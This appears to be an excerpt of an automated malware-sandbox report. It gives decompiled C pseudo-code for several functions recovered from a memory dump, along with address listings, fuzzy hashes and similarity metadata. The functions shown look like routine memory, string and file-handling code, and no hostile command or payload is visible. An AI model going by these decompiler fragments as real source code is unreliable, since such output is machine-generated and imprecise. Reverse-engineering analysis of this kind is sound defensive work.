0x010f1afc
0x00000000
0x00000000
0x010f1afe
0x010f1b02
0x00000000
0x00000000
0x010f1b04
0x010f1b08
0x00000000
0x00000000
0x00000000
0x010f1b0d
0x010f1b0d
0x010f1b0e
0x010f1b0e
0x00000000
0x010f1b12
0x010f1a30
0x010f1a36
0x010f1a39
0x010f1a3f
0x010f1a42
0x010f1a47
0x010f1a4f
0x010f1a57
0x010f1a5c
0x010f1a64
0x010f1a64
0x00000000
0x010f1a39
0x010f1a15
0x010f1a15
0x00000000

APIs

__EH_prolog.LIBCMT ref: 010F19DB

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: d8b8a1e11bd33c54ae22dd97e5454bc29b775feb9d20a5c4ebd55af336be0ac9
Instruction ID: 289ce70c31330090240c9dd7c6083b93e3baeb480fa6279dfd034487faddaa84
Opcode Fuzzy Hash: d8b8a1e11bd33c54ae22dd97e5454bc29b775feb9d20a5c4ebd55af336be0ac9
Instruction Fuzzy Hash: 8FC18330A04249EFEF65DF68C485BAD7BE1AF0A210F0840FDDE859F686DB359544CB61

Uniqueness

Uniqueness Score: -1.00%

Function 010F3B26, Relevance: 1.7, APIs: 1, Instructions: 176
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E010F3B26(void* __ecx, signed int __edx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				char _t76;
				signed int _t83;
				intOrPtr _t94;
				void* _t120;
				char _t121;
				void* _t123;
				void* _t130;
				signed int _t144;
				signed int _t148;
				void* _t151;
				void* _t153;

				_t143 = __edx;
				_t123 = __ecx;
				E0110E0E4(0x1121b56, _t153);
				E0110E1C0();
				_t151 = _t123;
				_t156 =  *((char*)(_t151 + 0x6cc4));
				if( *((char*)(_t151 + 0x6cc4)) == 0) {
					__eflags =  *((char*)(_t151 + 0x45f0)) - 5;
					if(__eflags > 0) {
						L26:
						E010F1380(__eflags, 0x1e, _t151 + 0x1e);
						goto L27;
					}
					__eflags =  *((intOrPtr*)(_t151 + 0x6cb0)) - 3;
					__eflags =  *((intOrPtr*)(_t151 + 0x45ec)) - ((0 |  *((intOrPtr*)(_t151 + 0x6cb0)) != 0x00000003) - 0x00000001 & 0x00000015) + 0x1d;
					if(__eflags > 0) {
						goto L26;
					}
					_t83 =  *(_t151 + 0x5628) |  *(_t151 + 0x562c);
					__eflags = _t83;
					if(_t83 != 0) {
						L7:
						_t120 = _t151 + 0x20e8;
						E010FC866(_t83, _t120);
						_push(_t120);
						E011017D6(_t153 - 0xe6ec, __eflags);
						_t121 = 0;
						 *((intOrPtr*)(_t153 - 4)) = 0;
						E01102BB2(0, _t153 - 0xe6ec, _t153,  *((intOrPtr*)(_t151 + 0x56c4)), 0);
						_t148 =  *(_t153 + 8);
						__eflags =  *(_t153 + 0xc);
						if( *(_t153 + 0xc) != 0) {
							L15:
							__eflags =  *((intOrPtr*)(_t151 + 0x566b)) - _t121;
							if( *((intOrPtr*)(_t151 + 0x566b)) == _t121) {
								L18:
								E010FA9C8(_t151 + 0x21a0, _t143,  *((intOrPtr*)(_t151 + 0x5640)), 1);
								 *(_t151 + 0x2108) =  *(_t151 + 0x5628);
								 *(_t151 + 0x210c) =  *(_t151 + 0x562c);
								 *((char*)(_t151 + 0x2110)) = _t121;
								E010FC919(_t151 + 0x20e8, _t151,  *(_t153 + 0xc));
								_t130 = _t151 + 0x20e8;
								 *((char*)(_t151 + 0x2111)) =  *((intOrPtr*)(_t153 + 0x10));
								 *((char*)(_t151 + 0x2137)) =  *((intOrPtr*)(_t151 + 0x5669));
								 *((intOrPtr*)(_t130 + 0x38)) = _t151 + 0x45d0;
								 *((intOrPtr*)(_t130 + 0x3c)) = _t121;
								_t94 =  *((intOrPtr*)(_t151 + 0x5630));
								_t144 =  *(_t151 + 0x5634);
								 *((intOrPtr*)(_t153 - 0x9aa4)) = _t94;
								 *(_t153 - 0x9aa0) = _t144;
								 *((char*)(_t153 - 0x9a8c)) = _t121;
								__eflags =  *((intOrPtr*)(_t151 + 0x45f0)) - _t121;
								if(__eflags != 0) {
									E01102861(_t153 - 0xe6ec,  *((intOrPtr*)(_t151 + 0x45ec)), _t121);
								} else {
									_push(_t144);
									_push(_t94);
									_push(_t130); // executed
									E010F9283(_t121, _t144, _t148, __eflags); // executed
								}
								asm("sbb edx, edx");
								_t143 =  ~( *(_t151 + 0x569a) & 0x000000ff) & _t151 + 0x0000569b;
								__eflags = E010FA996(_t151 + 0x21a0, _t148, _t151 + 0x5640,  ~( *(_t151 + 0x569a) & 0x000000ff) & _t151 + 0x0000569b);
								if(__eflags != 0) {
									_t121 = 1;
								} else {
									E010F7032(__eflags, 0x1f, _t151 + 0x1e, _t151 + 0x45f8);
									E010F6F5B(0x112ff50, 3);
									__eflags = _t148;
									if(_t148 != 0) {
										E010FFEA0(_t148);
									}
								}
								L25:
								E01101A2F(_t153 - 0xe6ec, _t143, _t148, _t151);
								_t76 = _t121;
								goto L28;
							}
							_t143 =  *(_t151 + 0x21bc);
							__eflags =  *((intOrPtr*)(_t143 + 0x5124)) - _t121;
							if( *((intOrPtr*)(_t143 + 0x5124)) == _t121) {
								goto L25;
							}
							asm("sbb ecx, ecx");
							_t138 =  ~( *(_t151 + 0x5670) & 0x000000ff) & _t151 + 0x00005671;
							__eflags =  ~( *(_t151 + 0x5670) & 0x000000ff) & _t151 + 0x00005671;
							E010FC8D1(_t151 + 0x20e8, _t121,  *((intOrPtr*)(_t151 + 0x566c)), _t143 + 0x5024, _t138, _t151 + 0x5681,  *((intOrPtr*)(_t151 + 0x56bc)), _t151 + 0x569b, _t151 + 0x5692);
							goto L18;
						}
						__eflags =  *(_t151 + 0x5634);
						if(__eflags < 0) {
							L12:
							__eflags = _t148;
							if(_t148 != 0) {
								E010F2020(_t148,  *((intOrPtr*)(_t151 + 0x5630)));
								E010FC936(_t151 + 0x20e8,  *_t148,  *((intOrPtr*)(_t151 + 0x5630)));
							} else {
								 *((char*)(_t151 + 0x2111)) = 1;
							}
							goto L15;
						}
						if(__eflags > 0) {
							L11:
							E010F1380(__eflags, 0x1e, _t151 + 0x1e);
							goto L25;
						}
						__eflags =  *((intOrPtr*)(_t151 + 0x5630)) - 0x1000000;
						if(__eflags <= 0) {
							goto L12;
						}
						goto L11;
					}
					__eflags =  *((intOrPtr*)(_t151 + 0x5669)) - _t83;
					if( *((intOrPtr*)(_t151 + 0x5669)) != _t83) {
						goto L7;
					} else {
						_t76 = 1;
						goto L28;
					}
				} else {
					E010F1380(_t156, 0x1d, _t151 + 0x1e);
					E010F6F5B(0x112ff50, 3);
					L27:
					_t76 = 0;
					L28:
					 *[fs:0x0] =  *((intOrPtr*)(_t153 - 0xc));
					return _t76;
				}
			}

0x010f3b26
0x010f3b26
0x010f3b2b
0x010f3b35
0x010f3b3b
0x010f3b3d
0x010f3b44
0x010f3b62
0x010f3b69
0x010f3dab
0x010f3db1
0x00000000
0x010f3db1
0x010f3b71
0x010f3b82
0x010f3b88
0x00000000
0x00000000
0x010f3b94
0x010f3b94
0x010f3b9a
0x010f3bab
0x010f3bac
0x010f3bb5
0x010f3bba
0x010f3bc1
0x010f3bc6
0x010f3bd5
0x010f3bd8
0x010f3bdd
0x010f3be0
0x010f3be3
0x010f3c38
0x010f3c38
0x010f3c3e
0x010f3c9a
0x010f3ca8
0x010f3cbc
0x010f3cc9
0x010f3ccf
0x010f3cd5
0x010f3cdd
0x010f3ce3
0x010f3cef
0x010f3cfb
0x010f3cfe
0x010f3d01
0x010f3d07
0x010f3d0d
0x010f3d13
0x010f3d19
0x010f3d1f
0x010f3d25
0x010f3d3e
0x010f3d27
0x010f3d27
0x010f3d28
0x010f3d29
0x010f3d2a
0x010f3d2a
0x010f3d58
0x010f3d5a
0x010f3d69
0x010f3d6b
0x010f3d98
0x010f3d6d
0x010f3d7a
0x010f3d86
0x010f3d8b
0x010f3d8d
0x010f3d91
0x010f3d91
0x010f3d8d
0x010f3d9a
0x010f3da0
0x010f3da6
0x00000000
0x010f3da8
0x010f3c40
0x010f3c46
0x010f3c4c
0x00000000
0x00000000
0x010f3c75
0x010f3c7e
0x010f3c7e
0x010f3c95
0x00000000
0x010f3c95
0x010f3be5
0x010f3beb
0x010f3c0b
0x010f3c0b
0x010f3c0d
0x010f3c20
0x010f3c33
0x010f3c0f
0x010f3c0f
0x010f3c0f
0x00000000
0x010f3c0d
0x010f3bed
0x010f3bfb
0x010f3c01
0x00000000
0x010f3c01
0x010f3bef
0x010f3bf9
0x00000000
0x00000000
0x00000000
0x010f3bf9
0x010f3b9c
0x010f3ba2
0x00000000
0x010f3ba4
0x010f3ba4
0x00000000
0x010f3ba4
0x010f3b46
0x010f3b4c
0x010f3b58
0x010f3db6
0x010f3db6
0x010f3db8
0x010f3dbc
0x010f3dc6
0x010f3dc6

APIs

__EH_prolog.LIBCMT ref: 010F3B2B

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 9a8f1e875978cec308a7cc1f5a8706e073e5c3826b344a58e9bfd34e393cf2b1
Instruction ID: cb4d36863aa905dd9ca8224a83e971f91f59d9e17741fe0e49ca7852728985b6
Opcode Fuzzy Hash: 9a8f1e875978cec308a7cc1f5a8706e073e5c3826b344a58e9bfd34e393cf2b1
Instruction Fuzzy Hash: E371F071400F45AEDB25DB34CC56AEBB7E8BF24211F40895EE6EB8B581D7326648CF10

Uniqueness

Uniqueness Score: -1.00%

Function 010F8329, Relevance: 1.6, APIs: 1, Instructions: 110
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E010F8329(void* __ebx, intOrPtr __ecx, void* __edx, void* __edi, void* __eflags) {
				void* __esi;
				void* _t47;
				signed int _t50;
				signed int _t51;
				void* _t53;
				signed int _t55;
				signed int _t61;
				intOrPtr _t72;
				signed int _t79;
				void* _t87;
				void* _t89;
				intOrPtr _t91;
				void* _t93;
				void* _t96;

				_t96 = __eflags;
				_t88 = __edi;
				_t87 = __edx;
				_t72 = __ecx;
				_t70 = __ebx;
				E0110E0E4(0x1121c6a, _t93);
				E0110E1C0();
				_t91 = _t72;
				_t1 = _t93 - 0x9d58; // -38232
				E010F13B1(_t1, _t87, __edi, _t96,  *(_t91 + 8));
				 *(_t93 - 4) =  *(_t93 - 4) & 0x00000000;
				_t6 = _t93 - 0x9d58; // -38232
				if(E010F9E37(_t6, __edi, _t91, _t91 + 0xf4) != 0) {
					_t7 = _t93 - 0x9d58; // -38232, executed
					_t47 = E010F19D6(_t7, _t87, 1); // executed
					if(_t47 != 0) {
						__eflags =  *((char*)(_t93 - 0x3093));
						if( *((char*)(_t93 - 0x3093)) == 0) {
							_push(__ebx);
							_push(__edi);
							_t89 = 0;
							__eflags =  *(_t93 - 0x30a3);
							if( *(_t93 - 0x30a3) != 0) {
								_t10 = _t93 - 0x9d3a; // -38202
								_t11 = _t93 - 0x1010; // -2064
								_t61 = E010FFD96(_t11, _t10, 0x800);
								__eflags =  *(_t93 - 0x309e);
								while(1) {
									_t17 = _t93 - 0x1010; // -2064
									E010FBA04(_t17, 0x800, (_t61 & 0xffffff00 | __eflags == 0x00000000) & 0x000000ff);
									_t18 = _t93 - 0x2058; // -6232
									E010F7098(_t18);
									_push(0);
									_t19 = _t93 - 0x2058; // -6232
									_t20 = _t93 - 0x1010; // -2064
									_t61 = E010FA406(_t18, _t87, __eflags, _t20, _t19);
									__eflags = _t61;
									if(_t61 == 0) {
										break;
									}
									_t89 = _t89 +  *((intOrPtr*)(_t93 - 0x1058));
									asm("adc ebx, [ebp-0x1054]");
									__eflags =  *(_t93 - 0x309e);
								}
								 *((intOrPtr*)(_t91 + 0x98)) =  *((intOrPtr*)(_t91 + 0x98)) + _t89;
								asm("adc [esi+0x9c], ebx");
							}
							_t23 = _t93 - 0x9d58; // -38232
							E010F84C1(_t91, _t87, _t23);
							_t50 =  *(_t91 + 8);
							_t87 = 0x49;
							_pop(_t88);
							_t79 =  *(_t50 + 0x82f2) & 0x0000ffff;
							_pop(_t70);
							__eflags = _t79 - 0x54;
							if(_t79 == 0x54) {
								L11:
								 *((char*)(_t50 + 0x61f9)) = 1;
							} else {
								__eflags = _t79 - _t87;
								if(_t79 == _t87) {
									goto L11;
								}
							}
							_t51 =  *(_t91 + 8);
							__eflags =  *((intOrPtr*)(_t51 + 0x82f2)) - _t87;
							if( *((intOrPtr*)(_t51 + 0x82f2)) != _t87) {
								__eflags =  *((char*)(_t51 + 0x61f9));
								_t32 =  *((char*)(_t51 + 0x61f9)) == 0;
								__eflags =  *((char*)(_t51 + 0x61f9)) == 0;
								E011012B5((_t51 & 0xffffff00 | _t32) & 0x000000ff, (_t51 & 0xffffff00 | _t32) & 0x000000ff, _t91 + 0xf4);
							}
							_t33 = _t93 - 0x9d58; // -38232
							E010F1F30(_t33, _t87);
							do {
								_t34 = _t93 - 0x9d58; // -38232
								_t53 = E010F3A95(_t34, _t87, _t91);
								_t35 = _t93 - 0xd; // 0x7f3
								_t36 = _t93 - 0x9d58; // -38232
								_t55 = E010F8525(_t91, _t36, _t53, _t35); // executed
								__eflags = _t55;
							} while (_t55 != 0);
						}
					} else {
						E010F6F5B(0x112ff50, 1);
					}
				}
				_t37 = _t93 - 0x9d58; // -38232, executed
				E010F1662(_t70, _t37, _t87, _t88, _t91); // executed
				 *[fs:0x0] =  *((intOrPtr*)(_t93 - 0xc));
				return 0;
			}

0x010f8329
0x010f8329
0x010f8329
0x010f8329
0x010f8329
0x010f832e
0x010f8338
0x010f833e
0x010f8340
0x010f8349
0x010f834e
0x010f8359
0x010f8366
0x010f836e
0x010f8374
0x010f837b
0x010f838e
0x010f8395
0x010f839b
0x010f839c
0x010f839f
0x010f83a1
0x010f83a7
0x010f83ae
0x010f83b5
0x010f83bc
0x010f83c1
0x010f83dc
0x010f83e8
0x010f83ef
0x010f83f4
0x010f83fa
0x010f83ff
0x010f8401
0x010f8408
0x010f840f
0x010f8414
0x010f8416
0x00000000
0x00000000
0x010f83c9
0x010f83cf
0x010f83d5
0x010f83d5
0x010f8418
0x010f841e
0x010f841e
0x010f8424
0x010f842d
0x010f8432
0x010f8437
0x010f8438
0x010f8439
0x010f8440
0x010f8441
0x010f8444
0x010f844b
0x010f844b
0x010f8446
0x010f8446
0x010f8449
0x00000000
0x00000000
0x010f8449
0x010f8452
0x010f8455
0x010f845c
0x010f845e
0x010f846c
0x010f846c
0x010f8473
0x010f8473
0x010f8478
0x010f847e
0x010f8483
0x010f8483
0x010f8489
0x010f848e
0x010f8493
0x010f849c
0x010f84a1
0x010f84a1
0x010f8483
0x010f837d
0x010f8384
0x010f8384
0x010f837b
0x010f84a5
0x010f84ab
0x010f84b6
0x010f84c0

APIs

__EH_prolog.LIBCMT ref: 010F832E

Part of subcall function 010F13B1: __EH_prolog.LIBCMT ref: 010F13B6
Part of subcall function 010F13B1: new.LIBCMT ref: 010F142F

Part of subcall function 010F19D6: __EH_prolog.LIBCMT ref: 010F19DB

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 218c47defb81e41a49ddd18a431566f0f44f004dff3389fe012c57b349e4a713
Instruction ID: 13eba537a0566357e6d511d3910c48115b695f92981787d1307df66c31739a4b
Opcode Fuzzy Hash: 218c47defb81e41a49ddd18a431566f0f44f004dff3389fe012c57b349e4a713
Instruction Fuzzy Hash: 3841F6319402599ADB24EB60CC56FEA77B8AF10304F0484EFE6C997892DF746AC8DF10

Uniqueness

Uniqueness Score: -1.00%

Function 01102DDD, Relevance: 1.6, APIs: 1, Instructions: 90
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E01102DDD(void* __ecx, void* __edx) {
				void* __edi;
				void* __esi;
				void* _t29;
				signed int _t30;
				signed int* _t36;
				signed int _t38;
				intOrPtr _t39;
				intOrPtr _t42;
				signed int _t44;
				void* _t47;
				void* _t48;
				void* _t56;
				void* _t60;
				signed int _t65;
				void* _t67;
				void* _t69;
				void* _t73;

				_t56 = __edx;
				_t48 = __ecx;
				_t29 = E0110E0E4(0x1121e1e, _t67);
				_push(_t48);
				_push(_t48);
				_t60 = _t48;
				_t44 = 0;
				_t72 =  *((intOrPtr*)(_t60 + 0x20));
				if( *((intOrPtr*)(_t60 + 0x20)) == 0) {
					_push(0x400400); // executed
					_t42 = E0110E383(_t48, _t56, 0x400400, _t72); // executed
					 *((intOrPtr*)(_t60 + 0x20)) = _t42;
					_t29 = E0110F1A0(_t60, _t42, 0, 0x400400);
					_t69 = _t69 + 0x10;
				}
				_t73 =  *(_t60 + 0x18) - _t44;
				if(_t73 == 0) {
					_t65 =  *((intOrPtr*)(_t60 + 0x1c)) +  *((intOrPtr*)(_t60 + 0x1c));
					_t30 = _t65;
					 *(_t67 - 0x10) = _t65;
					_t58 = _t30 * 0x4ae4 >> 0x20;
					_push( ~(0 | _t73 > 0x00000000) | ( ~(_t73 > 0) | _t30 * 0x00004ae4) + 0x00000004);
					_t36 = E0110E383(( ~(_t73 > 0) | _t30 * 0x00004ae4) + 4, _t30 * 0x4ae4 >> 0x20, _t65, _t73);
					_pop(0x112ff50);
					 *(_t67 - 0x14) = _t36;
					 *(_t67 - 4) = _t44;
					_t74 = _t36;
					if(_t36 != 0) {
						_push(E01101AF0);
						_push(E01101910);
						_push(_t65);
						_t16 =  &(_t36[1]); // 0x4
						_t44 = _t16;
						 *_t36 = _t65;
						_push(0x4ae4);
						_push(_t44);
						E0110E1ED(_t58, _t74);
					}
					 *(_t67 - 4) =  *(_t67 - 4) | 0xffffffff;
					 *(_t60 + 0x18) = _t44;
					_t29 = E0110F1A0(_t60, _t44, 0, _t65 * 0x4ae4);
					if(_t65 != 0) {
						_t38 = 0;
						 *(_t67 - 0x10) = 0;
						do {
							_t47 =  *(_t60 + 0x18) + _t38;
							if( *((intOrPtr*)(_t47 + 0x4ad4)) == 0) {
								 *((intOrPtr*)(_t47 + 0x4adc)) = 0x4100;
								_t39 = E01113413(0x112ff50); // executed
								 *((intOrPtr*)(_t47 + 0x4ad4)) = _t39;
								0x112ff50 = 0x30c00;
								if(_t39 == 0) {
									E010F6E92(0x112ff50);
								}
								_t38 =  *(_t67 - 0x10);
							}
							_t38 = _t38 + 0x4ae4;
							 *(_t67 - 0x10) = _t38;
							_t65 = _t65 - 1;
						} while (_t65 != 0);
					}
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t67 - 0xc));
				return _t29;
			}

0x01102ddd
0x01102ddd
0x01102de2
0x01102de7
0x01102de8
0x01102dec
0x01102dee
0x01102df0
0x01102df3
0x01102dfa
0x01102dfb
0x01102e03
0x01102e06
0x01102e0b
0x01102e0b
0x01102e0e
0x01102e11
0x01102e1c
0x01102e23
0x01102e25
0x01102e28
0x01102e3d
0x01102e3e
0x01102e43
0x01102e44
0x01102e47
0x01102e4a
0x01102e4c
0x01102e4e
0x01102e53
0x01102e58
0x01102e59
0x01102e59
0x01102e5c
0x01102e5e
0x01102e63
0x01102e64
0x01102e64
0x01102e69
0x01102e73
0x01102e7a
0x01102e84
0x01102e86
0x01102e88
0x01102e8b
0x01102e8e
0x01102e97
0x01102e9e
0x01102ea8
0x01102ead
0x01102eb3
0x01102eb6
0x01102ebd
0x01102ebd
0x01102ec2
0x01102ec2
0x01102ec5
0x01102eca
0x01102ecd
0x01102ecd
0x01102e8b
0x01102e84
0x01102ed8
0x01102ee2

APIs

__EH_prolog.LIBCMT ref: 01102DE2

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 3c6c766fe2054fe164b3f8029e1089bfe760684b52ae968ebc43367c27f4be39
Instruction ID: 1aef3996d8d369263a2373edf19d8345b01b5fd58c277cfc85a98372b8c174fe
Opcode Fuzzy Hash: 3c6c766fe2054fe164b3f8029e1089bfe760684b52ae968ebc43367c27f4be39
Instruction Fuzzy Hash: 832106B1E40226ABDB1ADF79DC4565A76A8FB18214F00053EE505EB6C1D3B4995086E8

Uniqueness

Uniqueness Score: -1.00%

Function 010F1E30, Relevance: 1.6, APIs: 1, Instructions: 76
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E010F1E30(intOrPtr __ecx, void* __edx, void* __edi, void* __esi) {
				void* _t34;
				intOrPtr _t41;
				intOrPtr _t51;
				void* _t62;
				unsigned int _t64;
				signed int _t66;
				intOrPtr* _t68;
				void* _t70;

				_t62 = __edx;
				_t51 = __ecx;
				E0110E0E4(0x1121b0b, _t70);
				_t49 = 0;
				 *((intOrPtr*)(_t70 - 0x10)) = _t51;
				 *((intOrPtr*)(_t70 - 0x24)) = 0;
				 *(_t70 - 0x20) = 0;
				 *((intOrPtr*)(_t70 - 0x1c)) = 0;
				 *((intOrPtr*)(_t70 - 0x18)) = 0;
				 *((char*)(_t70 - 0x14)) = 0;
				 *((intOrPtr*)(_t70 - 4)) = 0;
				_t34 = E010F3B26(_t51, _t62, _t70 - 0x24, 0, 0); // executed
				if(_t34 != 0) {
					_t64 =  *(_t70 - 0x20);
					E010F1702(_t70 - 0x24, _t62, 1);
					_t68 =  *((intOrPtr*)(_t70 + 8));
					 *((char*)( *(_t70 - 0x20) +  *((intOrPtr*)(_t70 - 0x24)) - 1)) = 0;
					_t16 = _t64 + 1; // 0x1
					E010F1879(_t68, _t16);
					_t41 =  *((intOrPtr*)(_t70 - 0x10));
					if( *((intOrPtr*)(_t41 + 0x6cb0)) != 3) {
						if(( *(_t41 + 0x45f4) & 0x00000001) == 0) {
							E011012D6( *((intOrPtr*)(_t70 - 0x24)),  *_t68,  *((intOrPtr*)(_t68 + 4)));
						} else {
							_t66 = _t64 >> 1;
							E01101351( *((intOrPtr*)(_t70 - 0x24)),  *_t68, _t66);
							 *((short*)( *_t68 + _t66 * 2)) = 0;
						}
					} else {
						_push( *((intOrPtr*)(_t68 + 4)));
						_push( *_t68);
						_push( *((intOrPtr*)(_t70 - 0x24)));
						E0110138C();
					}
					E010F1879(_t68, E011133F3( *_t68));
					_t49 = 1;
				}
				E010F15D1(_t70 - 0x24);
				 *[fs:0x0] =  *((intOrPtr*)(_t70 - 0xc));
				return _t49;
			}

0x010f1e30
0x010f1e30
0x010f1e35
0x010f1e3e
0x010f1e42
0x010f1e45
0x010f1e48
0x010f1e4b
0x010f1e4e
0x010f1e51
0x010f1e59
0x010f1e5f
0x010f1e66
0x010f1e6e
0x010f1e76
0x010f1e81
0x010f1e84
0x010f1e88
0x010f1e8e
0x010f1e93
0x010f1e9d
0x010f1eb5
0x010f1ed6
0x010f1eb7
0x010f1eb7
0x010f1ebf
0x010f1ec8
0x010f1ec8
0x010f1e9f
0x010f1e9f
0x010f1ea2
0x010f1ea4
0x010f1ea7
0x010f1ea7
0x010f1ee6
0x010f1eec
0x010f1eee
0x010f1ef2
0x010f1efd
0x010f1f07

APIs

__EH_prolog.LIBCMT ref: 010F1E35

Part of subcall function 010F3B26: __EH_prolog.LIBCMT ref: 010F3B2B

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 4b2a414088898433948795c54997239fcda5bfe1fd723b02ab79d68893ab3062
Instruction ID: 19207e646da3cdb3e82a4f0e7568015232758debbb2d6688a500965b464408b3
Opcode Fuzzy Hash: 4b2a414088898433948795c54997239fcda5bfe1fd723b02ab79d68893ab3062
Instruction Fuzzy Hash: 3B21487290420AEFCB15EF99D9519EEFBF6BF18310F1000AEE985A7650DB325E10CB60

Uniqueness

Uniqueness Score: -1.00%

Function 0110A712, Relevance: 1.6, APIs: 1, Instructions: 71
COMMON

Download Yara Rule

C-Code - Quality: 81%

			E0110A712(void* __ecx, void* __edx, void* __eflags) {
				void* __ebx;
				void* __edi;
				void* __esi;
				short _t33;
				char _t36;
				short _t38;
				void* _t47;
				short _t55;
				void* _t57;
				void* _t58;
				short _t60;
				void* _t62;
				intOrPtr _t64;
				void* _t67;

				_t67 = __eflags;
				_t57 = __edx;
				_t47 = __ecx;
				E0110E0E4(0x1121e69, _t62);
				_push(_t47);
				E0110E1C0();
				_push(_t60);
				_push(_t58);
				 *((intOrPtr*)(_t62 - 0x10)) = _t64;
				 *((intOrPtr*)(_t62 - 4)) = 0;
				E010F13B1(_t62 - 0x7d24, _t57, _t58, _t67, 0); // executed
				 *((char*)(_t62 - 4)) = 1;
				E010F1F7F(_t62 - 0x7d24, _t57, _t60, _t62, _t67,  *((intOrPtr*)(_t62 + 0xc)));
				if( *((intOrPtr*)(_t62 - 0x105f)) == 0) {
					 *((intOrPtr*)(_t62 - 0x24)) = 0;
					 *((intOrPtr*)(_t62 - 0x20)) = 0;
					 *((intOrPtr*)(_t62 - 0x1c)) = 0;
					 *((intOrPtr*)(_t62 - 0x18)) = 0;
					 *((char*)(_t62 - 0x14)) = 0;
					 *((char*)(_t62 - 4)) = 2;
					_push(_t62 - 0x24);
					_t50 = _t62 - 0x7d24;
					_t33 = E010F1981(_t62 - 0x7d24, _t57);
					__eflags = _t33;
					if(_t33 != 0) {
						_t60 =  *((intOrPtr*)(_t62 - 0x20));
						_t58 = _t60 + _t60;
						_push(_t58 + 2); // executed
						_t38 = E01113413(_t50); // executed
						_t55 = _t38;
						 *((intOrPtr*)( *((intOrPtr*)(_t62 + 0x10)))) = _t55;
						__eflags = _t55;
						if(_t55 != 0) {
							__eflags = 0;
							 *((short*)(_t58 + _t55)) = 0;
							E0110F300(_t55,  *((intOrPtr*)(_t62 - 0x24)), _t58);
						} else {
							_t60 = 0;
						}
						 *((intOrPtr*)( *((intOrPtr*)(_t62 + 0x14)))) = _t60;
					}
					E010F1618(_t62 - 0x24);
					E010F1662(0, _t62 - 0x7d24, _t57, _t58, _t60); // executed
					_t36 = 1;
				} else {
					E010F1662(0, _t62 - 0x7d24, _t57, _t58, _t60);
					_t36 = 0;
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t62 - 0xc));
				return _t36;
			}

0x0110a712
0x0110a712
0x0110a712
0x0110a717
0x0110a71c
0x0110a722
0x0110a728
0x0110a729
0x0110a72c
0x0110a736
0x0110a739
0x0110a747
0x0110a74b
0x0110a756
0x0110a767
0x0110a76a
0x0110a76d
0x0110a770
0x0110a773
0x0110a779
0x0110a77d
0x0110a77e
0x0110a784
0x0110a789
0x0110a78b
0x0110a78d
0x0110a790
0x0110a796
0x0110a797
0x0110a79d
0x0110a7a2
0x0110a7a4
0x0110a7a6
0x0110a7ac
0x0110a7af
0x0110a7b7
0x0110a7a8
0x0110a7a8
0x0110a7a8
